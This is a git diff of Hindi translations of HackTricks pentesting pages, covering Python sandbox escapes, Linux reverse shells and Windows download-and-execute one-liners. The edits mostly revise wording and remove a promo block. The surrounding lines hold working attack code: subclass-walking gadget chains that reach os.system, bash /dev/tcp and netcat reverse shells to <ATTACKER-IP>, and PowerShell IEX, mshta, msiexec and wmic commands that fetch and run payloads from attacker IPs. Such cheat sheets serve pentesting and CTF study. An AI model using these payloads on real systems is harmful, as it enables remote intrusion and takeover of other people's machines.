||||
In [**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाना पायथन कोड लोड और निष्पादित करने के लिए किया जाता है:
|
||||
In [**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाने python कोड को लोड और निष्पादित करने के लिए किया जाता है:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -201,11 +193,11 @@ class _:pass
|
|||
```
|
||||
### RCE ऑब्जेक्ट बनाना और ओवरलोडिंग
|
||||
|
||||
यदि आप **क्लास घोषित** कर सकते हैं और उस क्लास का **ऑब्जेक्ट बना** सकते हैं, तो आप **विभिन्न विधियों को लिख/ओवरराइट** कर सकते हैं जो **ट्रिगर** हो सकती हैं **बिना** **उन्हें सीधे कॉल किए**।
|
||||
यदि आप **क्लास घोषित** कर सकते हैं और उस क्लास का **ऑब्जेक्ट बना** सकते हैं, तो आप **विभिन्न विधियों को लिख/ओवरराइट** कर सकते हैं जो **ट्रिगर** हो सकती हैं **बिना** उन्हें **प्रत्यक्ष रूप से कॉल किए**।
|
||||
|
||||
#### कस्टम क्लासेस के साथ RCE
|
||||
|
||||
आप कुछ **क्लास विधियों** (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) को संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें **बिना** उन्हें सीधे कॉल किए।
|
||||
आप कुछ **क्लास विधियों** को (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें बिना उन्हें प्रत्यक्ष रूप से कॉल किए।
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -327,8 +319,8 @@ pass
|
|||
```
|
||||
## Builtins
|
||||
|
||||
* [**Python2 के बिल्टिन फ़ंक्शंस**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Python3 के बिल्टिन फ़ंक्शंस**](https://docs.python.org/3/library/functions.html)
|
||||
* [**Python2 के Builtins फ़ंक्शन**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Python3 के Builtins फ़ंक्शन**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
यदि आप **`__builtins__`** ऑब्जेक्ट तक पहुँच सकते हैं, तो आप पुस्तकालय आयात कर सकते हैं (ध्यान दें कि आप यहाँ पिछले अनुभाग में दिखाए गए अन्य स्ट्रिंग प्रतिनिधित्व का भी उपयोग कर सकते हैं):
|
||||
```python
|
||||
|
@ -382,7 +374,7 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**नीचे एक बड़ा फ़ंक्शन है**](./#recursive-search-of-builtins-globals) जो आपको **builtins** खोजने के लिए दर्जनों/**सैकड़ों** **स्थान** ढूंढने में मदद करेगा।
|
||||
[**नीचे एक बड़ा फ़ंक्शन है**](./#recursive-search-of-builtins-globals) जो दर्जनों/**सैकड़ों** **जगहों** को खोजने के लिए है जहाँ आप **builtins** पा सकते हैं।
|
||||
|
||||
#### Python2 और Python3
|
||||
```python
|
||||
|
@ -432,7 +424,7 @@ class_obj.__init__.__globals__
|
|||
|
||||
#### बायपास के साथ उपकक्षों तक पहुँच
|
||||
|
||||
इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षों** तक पहुँच प्राप्त करना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं:
|
||||
इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षों** तक पहुँच पाना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -462,7 +454,7 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
```
|
||||
### खतरनाक पुस्तकालयों का पता लगाना
|
||||
|
||||
उदाहरण के लिए, यह जानकर कि पुस्तकालय **`sys`** के साथ **मनमाने पुस्तकालयों को आयात करना संभव है**, आप उन सभी **मॉड्यूल्स की खोज कर सकते हैं जिन्होंने इसके अंदर sys को आयात किया है**:
|
||||
उदाहरण के लिए, यह जानकर कि पुस्तकालय **`sys`** के साथ **मनमाने पुस्तकालयों को आयात करना संभव है**, आप उन सभी **मॉड्यूल्स की खोज कर सकते हैं जिनमें sys आयात किया गया है**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
|
@ -471,7 +463,7 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
हम वही काम **अन्य पुस्तकालयों** के साथ कर सकते हैं जिन्हें हम जानते हैं कि **आदेशों को निष्पादित** करने के लिए उपयोग किया जा सकता है:
|
||||
हम **अन्य पुस्तकालयों** के साथ भी यही कर सकते हैं जिन्हें हम जानते हैं कि **आदेशों को निष्पादित** करने के लिए उपयोग किया जा सकता है:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
|
@ -689,8 +681,8 @@ main()
|
|||
यदि आप **python** को एक **स्ट्रिंग** भेजते हैं जो **फॉर्मेट** होने वाली है, तो आप **python आंतरिक जानकारी** तक पहुँचने के लिए `{}` का उपयोग कर सकते हैं। आप उदाहरणों का उपयोग करके globals या builtins तक पहुँच सकते हैं।
|
||||
|
||||
{% hint style="info" %}
|
||||
हालांकि, एक **सीमा** है, आप केवल `.[]` प्रतीकों का उपयोग कर सकते हैं, इसलिए आप **मनमाने कोड को निष्पादित नहीं कर पाएंगे**, केवल जानकारी पढ़ने के लिए।\
|
||||
_**यदि आप इस भेद्यता के माध्यम से कोड निष्पादित करना जानते हैं, तो कृपया मुझसे संपर्क करें।**_
|
||||
हालांकि, एक **सीमा** है, आप केवल प्रतीकों `.[]` का उपयोग कर सकते हैं, इसलिए आप **मनमाने कोड को निष्पादित नहीं कर पाएंगे**, केवल जानकारी पढ़ने के लिए।\
|
||||
_**यदि आप जानते हैं कि इस भेद्यता के माध्यम से कोड कैसे निष्पादित किया जाए, तो कृपया मुझसे संपर्क करें।**_
|
||||
{% endhint %}
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
|
@ -715,12 +707,12 @@ get_name_for_avatar(st, people_obj = people)
|
|||
|
||||
यह भी ध्यान दें कि आप `.__dict__` का उपयोग करके एक ऑब्जेक्ट के तत्वों को सूचीबद्ध कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`।
|
||||
|
||||
फॉर्मेट स्ट्रिंग्स की कुछ अन्य दिलचस्प विशेषताएँ हैं, जैसे कि निर्दिष्ट ऑब्जेक्ट में **`str`**, **`repr`** और **`ascii`** फ़ंक्शंस को **`!s`**, **`!r`**, **`!a`** जोड़कर **executing** करने की संभावना:
|
||||
फॉर्मेट स्ट्रिंग्स की कुछ अन्य दिलचस्प विशेषताएँ हैं, जैसे कि **executing** **functions** **`str`**, **`repr`** और **`ascii`** को निर्दिष्ट ऑब्जेक्ट में **`!s`**, **`!r`**, **`!a`** जोड़कर:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
इसके अलावा, **क्लास में नए फॉर्मेटर्स को कोड करना** संभव है:
|
||||
इसके अलावा, कक्षाओं में **नए फॉर्मेटर्स को कोड करना** संभव है:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
|
@ -734,7 +726,7 @@ return 'HAL 9000'
|
|||
**अधिक उदाहरण** **फॉर्मेट** **स्ट्रिंग** उदाहरणों के लिए [**https://pyformat.info/**](https://pyformat.info) पर जा सकते हैं
|
||||
|
||||
{% hint style="danger" %}
|
||||
Python आंतरिक वस्तुओं से संवेदनशील जानकारी पढ़ने के लिए गैजेट्स के लिए निम्नलिखित पृष्ठ की जांच करें:
|
||||
Python आंतरिक वस्तुओं से संवेदनशील जानकारी पढ़ने के लिए गैजेट्स के लिए निम्नलिखित पृष्ठ की भी जांच करें:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
|
@ -853,7 +845,7 @@ get_flag.__code__.co_freevars
|
|||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
### **एक फ़ंक्शन का डिसअसेम्बली**
|
||||
### **एक फ़ंक्शन का डिसअस्सेम्बली**
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
|
@ -881,7 +873,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
ध्यान दें कि **यदि आप python sandbox में `dis` आयात नहीं कर सकते** तो आप फ़ंक्शन का **बाइटकोड** प्राप्त कर सकते हैं (`get_flag.func_code.co_code`) और इसे स्थानीय रूप से **डिसअसेंबल** कर सकते हैं। आप लोड हो रहे वेरिएबल्स की सामग्री नहीं देखेंगे (`LOAD_CONST`) लेकिन आप उन्हें (`get_flag.func_code.co_consts`) से अनुमान लगा सकते हैं क्योंकि `LOAD_CONST` भी लोड हो रहे वेरिएबल का ऑफसेट बताता है।
|
||||
ध्यान दें कि **यदि आप python sandbox में `dis` आयात नहीं कर सकते** तो आप फ़ंक्शन का **bytecode** प्राप्त कर सकते हैं (`get_flag.func_code.co_code`) और इसे स्थानीय रूप से **disassemble** कर सकते हैं। आप लोड हो रहे वेरिएबल्स की सामग्री नहीं देखेंगे (`LOAD_CONST`) लेकिन आप उन्हें (`get_flag.func_code.co_consts`) से अनुमान लगा सकते हैं क्योंकि `LOAD_CONST` भी लोड हो रहे वेरिएबल का ऑफसेट बताता है।
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -906,7 +898,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
## Python संकलन
|
||||
|
||||
अब, चलिए कल्पना करते हैं कि किसी तरह आप **एक फ़ंक्शन के बारे में जानकारी निकाल सकते हैं जिसे आप निष्पादित नहीं कर सकते** लेकिन आपको इसे **निष्पादित** करने की **आवश्यकता** है।\
|
||||
जैसे कि निम्नलिखित उदाहरण में, आप उस फ़ंक्शन का **कोड ऑब्जेक्ट** एक्सेस कर सकते हैं, लेकिन केवल डिस्सेम्बल पढ़ने से आप **फ्लैग की गणना कैसे करें** यह **नहीं जानते** (_एक अधिक जटिल `calc_flag` फ़ंक्शन की कल्पना करें_)
|
||||
जैसे कि निम्नलिखित उदाहरण में, आप **उस फ़ंक्शन का कोड ऑब्जेक्ट** एक्सेस कर सकते हैं, लेकिन केवल डिसअसेंबल पढ़ने से आप **फ्लैग की गणना कैसे करें** यह **नहीं जानते** (_एक अधिक जटिल `calc_flag` फ़ंक्शन की कल्पना करें_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -919,7 +911,7 @@ return calc_flag("VjkuKuVjgHnci")
|
|||
else:
|
||||
return "Nope"
|
||||
```
|
||||
### कोड ऑब्जेक्ट बनाना
|
||||
### Creating the code object
|
||||
|
||||
सबसे पहले, हमें यह जानने की आवश्यकता है **कि कोड ऑब्जेक्ट कैसे बनाया और निष्पादित किया जाता है** ताकि हम एक बना सकें जो हमारे फ़ंक्शन को निष्पादित करे:
|
||||
```python
|
||||
|
@ -952,7 +944,7 @@ types.CodeType.__doc__
|
|||
### लीक की गई फ़ंक्शन को फिर से बनाना
|
||||
|
||||
{% hint style="warning" %}
|
||||
निम्नलिखित उदाहरण में, हम फ़ंक्शन कोड ऑब्जेक्ट से सीधे फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक** करने की आवश्यकता होगी।
|
||||
निम्नलिखित उदाहरण में, हम फ़ंक्शन कोड ऑब्जेक्ट से सीधे फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक करने की आवश्यकता होगी**।
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -966,7 +958,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी ऐसा कर सकते हैं).\
|
||||
In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट्स** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी वही कर सकते हैं).\
|
||||
खैर, कभी-कभी यह **स्थानीय मशीन** में एक **संकलित ऑब्जेक्ट** **बनाने** और इसे **CTF मशीन** में निष्पादित करने के लिए उपयोगी हो सकता है (उदाहरण के लिए क्योंकि हमारे पास CTF में `compiled` फ़ंक्शन नहीं है).
|
||||
|
||||
For example, let's compile and execute manually a function that reads _./poc.py_:
|
||||
|
@ -1018,7 +1010,7 @@ f(42)
|
|||
|
||||
### Assert
|
||||
|
||||
पायथन को ऑप्टिमाइजेशन के साथ `-O` पैरामीटर के साथ निष्पादित करने पर एसेट स्टेटमेंट और **debug** के मान पर आधारित कोई भी कोड हटा दिया जाएगा।\
|
||||
पायथन को ऑप्टिमाइजेशन के साथ `-O` पैरामीटर के साथ चलाने पर एसेट स्टेटमेंट और **debug** के मान पर आधारित कोई भी कोड हटा दिया जाएगा।\
|
||||
इसलिए, जाँचें जैसे
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1030,7 +1022,7 @@ print(f"\nNot a Super User!!!\n")
|
|||
```
|
||||
will be bypassed
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
||||
|
@ -1039,23 +1031,18 @@ will be bypassed
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,15 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**यदि आपके पास इन शेल्स के बारे में कोई प्रश्न हैं, तो आप उन्हें** [**https://explainshell.com/**](https://explainshell.com) **पर देख सकते हैं।**
|
||||
**यदि आपके पास इन शेल के बारे में कोई प्रश्न हैं, तो आप उन्हें** [**https://explainshell.com/**](https://explainshell.com) **पर देख सकते हैं।**
|
||||
|
||||
## Full TTY
|
||||
|
||||
|
@ -57,7 +49,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
|
||||
1. **`bash -i`**: इस कमांड का यह भाग एक इंटरैक्टिव (`-i`) बैश शेल शुरू करता है।
|
||||
2. **`>&`**: इस कमांड का यह भाग **मानक आउटपुट** (`stdout`) और **मानक त्रुटि** (`stderr`) को **एक ही गंतव्य** पर पुनर्निर्देशित करने के लिए एक संक्षिप्त नोटेशन है।
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: यह एक विशेष फ़ाइल है जो **निर्दिष्ट IP पते और पोर्ट के लिए एक TCP कनेक्शन का प्रतिनिधित्व करती है**।
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: यह एक विशेष फ़ाइल है जो **निर्धारित IP पते और पोर्ट के लिए एक TCP कनेक्शन का प्रतिनिधित्व करती है**।
|
||||
* **आउटपुट और त्रुटि धाराओं को इस फ़ाइल पर पुनर्निर्देशित करके**, कमांड प्रभावी रूप से इंटरैक्टिव शेल सत्र का आउटपुट हमलावर की मशीन पर भेजता है।
|
||||
4. **`0>&1`**: इस कमांड का यह भाग **मानक इनपुट (`stdin`) को मानक आउटपुट (`stdout`) के समान गंतव्य पर पुनर्निर्देशित करता है**।
|
||||
|
||||
|
@ -122,7 +114,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
|
|||
```
|
||||
## gsocket
|
||||
|
||||
इसे [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) पर चेक करें
|
||||
इसे [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) पर जांचें
|
||||
```bash
|
||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||
```
|
||||
|
@ -340,12 +332,6 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
**ट्राई हार्ड सुरक्षा समूह**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -354,9 +340,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
पृष्ठ [lolbas-project.github.io](https://lolbas-project.github.io/) Windows के लिए है जैसे [https://gtfobins.github.io/](https://gtfobins.github.io/) linux के लिए है।\
|
||||
स्पष्ट रूप से, **Windows में SUID फ़ाइलें या sudo विशेषाधिकार नहीं हैं**, लेकिन यह जानना उपयोगी है **कैसे** कुछ **बाइनरी** (ab) का उपयोग किया जा सकता है ताकि कुछ अप्रत्याशित क्रियाएँ की जा सकें जैसे **मनमाने कोड को निष्पादित करना।**
|
||||
स्पष्ट रूप से, **Windows में SUID फ़ाइलें या sudo विशेषाधिकार नहीं हैं**, लेकिन यह जानना उपयोगी है **कैसे** कुछ **बाइनरी** (ab) का उपयोग करके कुछ अप्रत्याशित क्रियाएँ की जा सकती हैं जैसे **मनमाने कोड को निष्पादित करना।**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -102,7 +94,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
|||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
Process performing network call: **powershell.exe**\
|
||||
Payload written on disk: **नहीं** (_कम से कम मैं procmon का उपयोग करके कहीं नहीं मिला !_ )
|
||||
Payload written on disk: **नहीं** (_कम से कम मैं procmon का उपयोग करके कहीं नहीं मिला!_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
|
@ -133,7 +125,7 @@ mshta \\webdavserver\folder\payload.hta
|
|||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**आप बहुत आसानी से स्टेजर hta का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं**
|
||||
**आप बहुत आसानी से स्टेजर hta का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं।**
|
||||
|
||||
#### hta उदाहरण
|
||||
|
||||
|
@ -330,7 +322,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||
|
||||
## **Wmic**
|
||||
|
||||
* [यहाँ से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
|
@ -466,15 +458,15 @@ msfconsole -r unicorn.rc
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
**Detected as malicious code**
|
||||
**खतरनाक कोड के रूप में पहचाना गया**
|
||||
|
||||
## More
|
||||
## अधिक
|
||||
|
||||
